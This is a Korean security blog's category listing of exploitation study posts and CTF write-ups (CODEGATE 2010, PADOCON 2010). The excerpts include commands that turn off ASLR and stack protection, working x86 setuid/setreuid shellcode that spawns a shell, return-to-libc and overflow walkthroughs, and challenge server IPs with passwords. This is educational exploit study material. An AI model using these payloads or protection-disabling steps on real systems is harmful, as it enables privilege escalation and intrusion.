Category: System

System 문제 환경 확인 및 설정

[랜덤 스택&라이브러리, 스택 실행권한 설정] 커널 2.6 부터 제공 (Default 값은 1)# sysctl -w kernel.randomize_va_space=0 (해제)# sysctl -w kernel.randomize_va_space=1 (랜덤 스택 & 라이브러리)# sysctl -w kernel.randomize_va_space=2 (랜럼 스택 & 라이브러리 & 힙)# sysctl -w kernel.exec-shield=0 (스택 실행권한 해제)# sysctl -w kernel.exec-shield=1 (스택 실행권한 설정) 시스템 시작할때 자동으로 설정하기위에 설정 명령을 /etc/sysctl.conf 안에 쓴 후 reboot …

Shellcode 모음

uid, gid 설정 및 실행 파일 설정[code]char shellcode[] ="\x31\xc0\xb0\x46\x66\xbb\x66\x02\x66\xb9\x66\x02\xcd\x80"    // uid 614"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b""\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd""\x80\xe8\xdc\xff\xff\xff/tmp/go";    // /tmp/go 실행 int main(){    printf("Length: %d bytes.\n’", strlen(shellcode));    ((void()()) shellcode)();         return 0;}[/code] Universal setreuid() shellcode (출처 : http://hkpco.kr/paper/universal%20setreuid%20shellcode.txt)[code]char shellcode[] ="\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80"    // setreuid( geteuid() , geteuid() );"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80";    // shellcode int main(){    printf("Length: %d bytes.\n’", strlen(shellcode));  …

CODEGATE 2010 CHALLENGE 4, 5 (RTL)

http://www.vnsecurity.net/2010/03/codegate-2010-online-ctf-challenge-4-5-writeup/위 페이지를 참고하여 문제를 다시 한번 풀고 정리한 내용 입니다.RTL을 이해하는데 도움이 될 거 같네요… [code lang-sh]hugh@codegate-desktop:/tmp/by$ gdb -q easyReading symbols from /tmp/by/easy…done.(gdb) b mainBreakpoint 1 at 0x804850e(gdb) rStarting program: /tmp/by/easy Breakpoint 1, 0x0804850e in main ()(gdb) x/x execl0x1ea0c0 <execl>:       0x53565755(gdb) q[/code]execl 주소를 확인하여 보면 0x1ea0c0 이다. [code lang-sh]hugh@codegate-desktop:/tmp/by$ gdb -q easyReading …

CODEGATE 2010 CHALLENGE 4

http://coma.0x3f.net/uncategorized/codegate2010-ctf-level-4/위 사이트에 올라온 풀이를 보고 다시 한번 풀어 정리를 하여 보았다. 해당 문제를 통해 msfelfscan의 사용법과 core 파일 생성 및 디버깅 방법을 확인할 수 있었다.\xcc를 이용하여 흐름을 파악하는 과정은 정말 도움이 많이 될 거 같다. [code lang-sh][byjjoon@ByJJoon CODEGATE]$ ulimit -c 50000[byjjoon@ByJJoon CODEGATE]$ python -c "print ‘A’*272" | ./easy   Input: Segmentation fault (core dumped)[byjjoon@ByJJoon CODEGATE]$ …

RTL(Returning into libc) 스터디 – 1

OS : Red Hat Linux 9.0환경 : 랜덤스택 RTL 기법은 실행이 불가능한 스택일 경우 가능한 공격입니다. 공격 방법은 우리가 원하는 주소를 libc의 특정 함수로 리턴시켜 원하는 행동을 하도록 하는 것입니다. 그럼 공격을 해보도록 하자. 타켓 파일은 아래와 같습니다. [code lang-c]int main(int argc, char argv[]){      char buffer[5];      strcpy(buffer, argv[1]);      return …

64bit OS에서 OllyDBG 1.10 이용하기

최근에 OS를 64Bit를 깔았다가 뭔가 볼게 있어서 OllyDBG를 열어보니 이상하게 코드가 출력되어 나왔다. 이유는 64Bit OS 때문이였는데 이걸 어떻게 해결할 수 없을까 찾아보다 Olly Advanced 라는 플러그인에 있는 64비트 호환성 기능을 이용하여 해결할 수 있음을 알 수 있었다. Olly Advanced : http://www.openrce.org/downloads/details/241/Olly_Advanced 플러그인 설치 후 아래와 같이 설정을 하고 나니 정상적으로 코드가 나옴을 확인할 수 …

PADOCON 2010 Live Hacking 풀이

금일 파도콘 컨퍼런스에 가서 라이브 해킹 대회가 있어 msi님이랑 참여하여 우승을 하였습니다 😀대회에 대한 자세한 풀이를 기록 합니다.. 1. 첫번째 문제 – Zeroboard XE첫번째 문제는 Zeroboard XE 관련 문제 였습니다. 게시판에 이미지 파일을 하나 올려 확인한 결과 이미지 첨부파일이 위치하는 경로(/public_html/zbxe/files/attach/images)가 디렉토리 인덱싱이 가능한 것을 확인하였습니다. 따 라서 첨부파일이 위치하는 경로(/public_html/zbxe/files/attach/binaries)도 인덱싱이 될거라 생각하고 확인을 …

PADOCON 2010 CTF – trililogy100 풀이

PADOCON 2010 CTF가 끝나고 system 문제를 못푼게 한이 되어 공부하고 나서 다시 풀어 기록을 남깁니다. Subject : trililogy100Type : exploitmeExaminer : padoconPoint : 400 sshd server ip : 168.188.130.217id : tril100pw : 0x170x17 먼저 문제 서버의 환경을 확인 합니다. [code lang-sh][tril100@cnuhansa ~]$ python -c "import os ; print os.uname()"(‘Linux’, ‘cnuhansa.cnu.ac.kr’, ‘2.6.31.12-174.2.3.fc12.i686.PAE’, ‘#1 SMP Mon Jan …

PADOCON 2010 CTF – karma100 풀이

PADOCON 2010 CTF가 끝나고 system 문제를 못푼게 한이 되어 공부하고 나서 다시 풀어 기록을 남깁니다. Subject : karma100Type : exploitmeExaminer : padoconPoint : 400 ssh ip : 168.188.130.218id : karma100pw : 0x1738a731먼저 접속을 하여 문제 서버의 환경을 확인해 보도록 하겠습니다. [code lang-sh][karma100@padocon ~]$ python -c "import os ; print os.uname()"(‘Linux’, ‘padocon’, ‘2.6.31.5-127.fc12.i686’, ‘#1 SMP Sat …

Heap 오버플로우 스터디

OS : Red Hat Linux 6.2 heap.c[code]#include <stdio.h>#include <stdlib.h> int main(int argc, char *argv[]){    FILE *fd;     // Allocating memory on the heap    char *userinput = malloc(20);    char *outputfile = malloc(20);     if(argc < 2)    {        printf(“Usage: %s <string to be written to /tmp/notes>\n”, argv[0]);    …